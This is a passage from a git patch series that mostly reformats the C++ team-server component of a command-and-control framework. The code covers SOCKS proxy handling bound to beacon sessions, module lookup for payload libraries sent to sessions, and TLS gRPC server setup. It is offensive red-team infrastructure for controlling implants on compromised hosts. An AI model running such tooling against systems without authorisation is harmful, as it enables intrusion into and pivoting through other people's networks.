{}", port); + attempts++; + if (attempts > maxAttempt) + { + m_logger->error("Error: Unable to start the socks server on port {} after {} attempts", port, maxAttempt); + break; + } + } + + if (m_socksServer->isServerStoped()) + { + m_logger->warn("Error: Socks server failed to start on port {}", port); + responseTmp.set_result("Error: Socks server failed to start on port " + std::to_string(port)); + *response = responseTmp; + return grpc::Status::OK; + } + + m_isSocksServerRunning = true; + + m_logger->info("Socks server successfully started on port {}", port); + responseTmp.set_result("Socks server successfully started on port " + std::to_string(port)); + *response = responseTmp; + return grpc::Status::OK; + } + else + { + m_logger->warn("Error: Socks server port already used"); + responseTmp.set_result("Error: Socks server port already used"); + *response = responseTmp; + return grpc::Status::OK; + } + } + } + else if (cmd == "stop") + { + m_isSocksServerBinded = false; + if (m_socksThread) + m_socksThread->join(); + m_socksThread.reset(nullptr); + + m_isSocksServerRunning = false; + if (m_socksServer) + m_socksServer->stop(); + m_socksServer.reset(nullptr); + + m_logger->info("Socks server stoped"); + responseTmp.set_result("Socks server stoped"); + *response = responseTmp; + return grpc::Status::OK; + } + else if (cmd == "bind") + { + if (!m_isSocksServerRunning) + { + m_logger->warn("Error: Socks server not running"); + responseTmp.set_result("Error: Socks server not running"); + *response = responseTmp; + return grpc::Status::OK; + } + if (m_isSocksServerBinded) + { + m_logger->warn("Error: Socks server already bind"); + responseTmp.set_result("Error: Socks server already bind"); + *response = responseTmp; + return grpc::Status::OK; + } + if (splitedCmd.size() == 3) + { + std::string beaconHash = splitedCmd[2]; + for (int i = 0; i < m_listeners.size(); i++) + { + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); + std::string hash = session->getBeaconHash(); + if (hash.find(beaconHash) != std::string::npos && !session->isSessionKilled()) + { + m_socksListener = m_listeners[i]; + m_socksSession = m_listeners[i]->getSessionPtr(kk); + + m_socksThread = std::make_unique(&TeamServer::socksThread, this); + + m_isSocksServerBinded = true; + m_logger->info("Socks server sucessfully binded"); + responseTmp.set_result("Socks server sucessfully binded\nThink about setting the sleep time of the beacon to 0.001 to force a good throughput"); + *response = responseTmp; + return grpc::Status::OK; + } + } + } + + m_logger->warn("Error: Socks server bind failed, session not found"); + responseTmp.set_result("Error: Socks server bind failed, session not found"); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (cmd == "unbind") + { + m_isSocksServerBinded = false; + if (m_socksThread) + m_socksThread->join(); + m_socksThread.reset(nullptr); + + m_logger->info("Socks server successfully unbinding"); + responseTmp.set_result("Socks server successfully unbinding"); + *response = responseTmp; + return grpc::Status::OK; + } + else + { + m_logger->warn("Error: Socks server command not found."); + responseTmp.set_result("Error: Socks server command not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + } + // TODO add a clean www directory !!! + else + { + responseTmp.set_result("Error: not implemented."); + *response = responseTmp; + return grpc::Status::OK; + } + + *response = responseTmp; + + return grpc::Status::OK; } - - -std::string toLower(const std::string& str) +std::string toLower(const std::string& str) { std::string result = str; std::transform(result.begin(), result.end(), result.begin(), - [](unsigned char c) { return std::tolower(c); }); + [](unsigned char c) + { return std::tolower(c); }); return result; } - int TeamServer::prepMsg(const std::string& input, C2Message& c2Message, bool isWindows) { - m_logger->trace("prepMsg"); + m_logger->trace("prepMsg"); - std::vector splitedCmd; - splitInputCmd(input, splitedCmd); + std::vector splitedCmd; + splitInputCmd(input, splitedCmd); - if(splitedCmd.empty()) - return 0; + if (splitedCmd.empty()) + return 0; - int res=0; - string instruction = splitedCmd[0]; - bool isModuleFound=false; - for(int i=0; i= 3 && param.substr(param.size() - 3) == ".so") - { - - } - else if(param.size() >= 4 && param.substr(param.size() - 3) == ".dll") - { + if (param.size() >= 3 && param.substr(param.size() - 3) == ".so") + { + } + else if (param.size() >= 4 && param.substr(param.size() - 3) == ".dll") + { + } + else + { + m_logger->debug("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); + try + { + for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + { + if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") + { - } - else - { - m_logger->debug("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); - try - { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) - { - if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - - std::string moduleName = entry.path().filename(); - moduleName = moduleName.substr(3); // remove lib - moduleName = moduleName.substr(0, moduleName.length() - 3); // remove .so + std::string moduleName = entry.path().filename(); + moduleName = moduleName.substr(3); // remove lib + moduleName = moduleName.substr(0, moduleName.length() - 3); // remove .so - if (toLower(param) == toLower(moduleName)) - { - if(isWindows) - { - splitedCmd[1] = moduleName; - splitedCmd[1] += ".dll"; - } - else - { - splitedCmd[1] = entry.path().filename(); - } + if (toLower(param) == toLower(moduleName)) + { + if (isWindows) + { + splitedCmd[1] = moduleName; + splitedCmd[1] += ".dll"; + } + else + { + splitedCmd[1] = entry.path().filename(); + } - m_logger->debug("Found module to load {0}", splitedCmd[1]); - } - } - } - } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory"); - } - } - } - } - res = m_commonCommands.init(splitedCmd, c2Message, isWindows); - isModuleFound=true; - } - } + m_logger->debug("Found module to load {0}", splitedCmd[1]); + } + } + } + } + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory"); + } + } + } + } + res = m_commonCommands.init(splitedCmd, c2Message, isWindows); + isModuleFound = true; + } + } - for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) - { - if (toLower(instruction) == toLower((*it)->getName())) - { - splitedCmd[0] = (*it)->getName(); - res = (*it)->init(splitedCmd, c2Message); - isModuleFound=true; - } - } + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if (toLower(instruction) == toLower((*it)->getName())) + { + splitedCmd[0] = (*it)->getName(); + res = (*it)->init(splitedCmd, c2Message); + isModuleFound = true; + } + } - if(!isModuleFound) - { - m_logger->warn("Module {0} not found.", instruction); + if (!isModuleFound) + { + m_logger->warn("Module {0} not found.", instruction); - std::string hint = "Module "; - hint+=instruction; - hint+=" not found."; - c2Message.set_returnvalue(hint); + std::string hint = "Module "; + hint += instruction; + hint += " not found."; + c2Message.set_returnvalue(hint); - res=-1; - } + res = -1; + } - m_logger->trace("prepMsg end"); + m_logger->trace("prepMsg end"); - return res; + return res; } - -int main(int argc, char* argv[]) +int main(int argc, char* argv[]) { std::string configFile = "TeamServerConfig.json"; - if (argc >= 2) - { + if (argc >= 2) + { configFile = argv[1]; } - // + // // Logger - // - std::vector sinks; + // + std::vector sinks; - auto console_sink = std::make_shared(); + auto console_sink = std::make_shared(); sinks.push_back(console_sink); - auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); - sinks.push_back(file_sink); + auto file_sink = std::make_shared("logs/TeamServer.txt", 1024 * 1024 * 10, 3); + sinks.push_back(file_sink); - std::unique_ptr logger = std::make_unique("TeamServer", begin(sinks), end(sinks)); + std::unique_ptr logger = std::make_unique("TeamServer", begin(sinks), end(sinks)); - // - // TeamServer Config - // - std::ifstream f(configFile); + // + // TeamServer Config + // + std::ifstream f(configFile); - // Check if the file is successfully opened - if (!f.is_open()) - { + // Check if the file is successfully opened + if (!f.is_open()) + { std::cerr << "Error: Config file '" << configFile << "' not found or could not be opened." << std::endl; return 1; } - json config; - try - { - config = json::parse(f); - } - catch (const json::parse_error& e) - { + json config; + try + { + config = json::parse(f); + } + catch (const json::parse_error& e) + { std::cerr << "Error: Failed to parse JSON in config file '" << configFile << "' - " << e.what() << std::endl; return 1; } - std::string logLevel = "info"; - auto logLevelIt = config.find("LogLevel"); - if (logLevelIt != config.end() && logLevelIt->is_string()) - logLevel = logLevelIt->get(); + std::string logLevel = "info"; + auto logLevelIt = config.find("LogLevel"); + if (logLevelIt != config.end() && logLevelIt->is_string()) + logLevel = logLevelIt->get(); - bool isUnknownLogLevel = false; - spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); + bool isUnknownLogLevel = false; + spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); - console_sink->set_level(configuredLevel); - file_sink->set_level(configuredLevel); - logger->set_level(configuredLevel); - logger->flush_on(spdlog::level::warn); + console_sink->set_level(configuredLevel); + file_sink->set_level(configuredLevel); + logger->set_level(configuredLevel); + logger->flush_on(spdlog::level::warn); - if (isUnknownLogLevel) - logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); + if (isUnknownLogLevel) + logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); - logger->info("TeamServer logging initialized at {} level", spdlog::level::to_string_view(logger->level())); + logger->info("TeamServer logging initialized at {} level", spdlog::level::to_string_view(logger->level())); - std::string serverGRPCAdd = config["ServerGRPCAdd"].get(); - std::string ServerGRPCPort = config["ServerGRPCPort"].get(); - std::string serverAddress = serverGRPCAdd; - serverAddress += ':'; - serverAddress += ServerGRPCPort; + std::string serverGRPCAdd = config["ServerGRPCAdd"].get(); + std::string ServerGRPCPort = config["ServerGRPCPort"].get(); + std::string serverAddress = serverGRPCAdd; + serverAddress += ':'; + serverAddress += ServerGRPCPort; - TeamServer service(config); + TeamServer service(config); - // TSL Connection configuration - std::string servCrtFilePath = config["ServCrtFile"].get(); - std::ifstream servCrtFile(servCrtFilePath, std::ios::binary); - if(!servCrtFile.good()) - { - logger->critical("Server ceritifcat file not found."); - return -1; - } - std::string cert(std::istreambuf_iterator(servCrtFile), {}); - - std::string servKeyFilePath = config["ServKeyFile"].get(); - std::ifstream servKeyFile(servKeyFilePath, std::ios::binary); - if(!servKeyFile.good()) - { - logger->critical("Server key file not found."); - return -1; - } - std::string key(std::istreambuf_iterator(servKeyFile), {}); - - std::string rootCA = config["RootCA"].get(); - std::ifstream rootFile(rootCA, std::ios::binary); - if(!rootFile.good()) - { - logger->critical("Root CA file not found."); - return -1; - } - std::string root(std::istreambuf_iterator(rootFile), {}); - - grpc::SslServerCredentialsOptions::PemKeyCertPair keycert = + // TSL Connection configuration + std::string servCrtFilePath = config["ServCrtFile"].get(); + std::ifstream servCrtFile(servCrtFilePath, std::ios::binary); + if (!servCrtFile.good()) { - key, - cert - }; + logger->critical("Server ceritifcat file not found."); + return -1; + } + std::string cert(std::istreambuf_iterator(servCrtFile), {}); + + std::string servKeyFilePath = config["ServKeyFile"].get(); + std::ifstream servKeyFile(servKeyFilePath, std::ios::binary); + if (!servKeyFile.good()) + { + logger->critical("Server key file not found."); + return -1; + } + std::string key(std::istreambuf_iterator(servKeyFile), {}); + + std::string rootCA = config["RootCA"].get(); + std::ifstream rootFile(rootCA, std::ios::binary); + if (!rootFile.good()) + { + logger->critical("Root CA file not found."); + return -1; + } + std::string root(std::istreambuf_iterator(rootFile), {}); + + grpc::SslServerCredentialsOptions::PemKeyCertPair keycert = + { + key, + cert}; grpc::SslServerCredentialsOptions sslOps; sslOps.pem_root_certs = root; - sslOps.pem_key_cert_pairs.push_back ( keycert ); + sslOps.pem_key_cert_pairs.push_back(keycert); - // Start GRPC Server - grpc::ServerBuilder builder; - builder.AddListeningPort(serverAddress, grpc::SslServerCredentials(sslOps)); - builder.RegisterService(&service); - builder.SetMaxSendMessageSize(1024 * 1024 * 1024); - builder.SetMaxMessageSize(1024 * 1024 * 1024); - builder.SetMaxReceiveMessageSize(1024 * 1024 * 1024); - std::unique_ptr server(builder.BuildAndStart()); + // Start GRPC Server + grpc::ServerBuilder builder; + builder.AddListeningPort(serverAddress, grpc::SslServerCredentials(sslOps)); + builder.RegisterService(&service); + builder.SetMaxSendMessageSize(1024 * 1024 * 1024); + builder.SetMaxMessageSize(1024 * 1024 * 1024); + builder.SetMaxReceiveMessageSize(1024 * 1024 * 1024); + std::unique_ptr server(builder.BuildAndStart()); - logger->info("Team Server listening on {0}", serverAddress); + logger->info("Team Server listening on {0}", serverAddress); - server->Wait(); + server->Wait(); } - diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index bf64f96..cdfed32 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -28,33 +28,32 @@ #include "nlohmann/json.hpp" - class TeamServer final : public teamserverapi::TeamServerApi::Service { public: - explicit TeamServer(const nlohmann::json& config); - ~TeamServer(); + explicit TeamServer(const nlohmann::json& config); + ~TeamServer(); grpc::Status Authenticate(grpc::ServerContext* context, const teamserverapi::AuthRequest* request, teamserverapi::AuthResponse* response) override; grpc::Status GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); - grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response); - grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response); - + grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response); + grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response); + grpc::Status GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); - grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response); + grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response); - grpc::Status SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response); - grpc::Status GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer); + grpc::Status SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response); + grpc::Status GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer); - grpc::Status GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse); + grpc::Status GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse); + + grpc::Status SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response); - grpc::Status SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response); - protected: int handleCmdResponse(); bool isListenerAlive(const std::string& listenerHash); - int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows=true); + int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows = true); private: grpc::Status ensureAuthenticated(grpc::ServerContext* context); From 7daf77992934a3479903d5ef0b09ccd84e1e9152 Mon Sep 17 00:00:00 2001 From: kali Date: Wed, 15 Oct 2025 08:19:16 -0400 Subject: [PATCH 11/11] Maj core --- core | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core b/core index 46975f5..2f6652d 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 46975f58dc2dbc395bc05cc7698b1131eac16920 +Subproject commit 2f6652ddbb70378c187e06d64285175f2f5cfcfb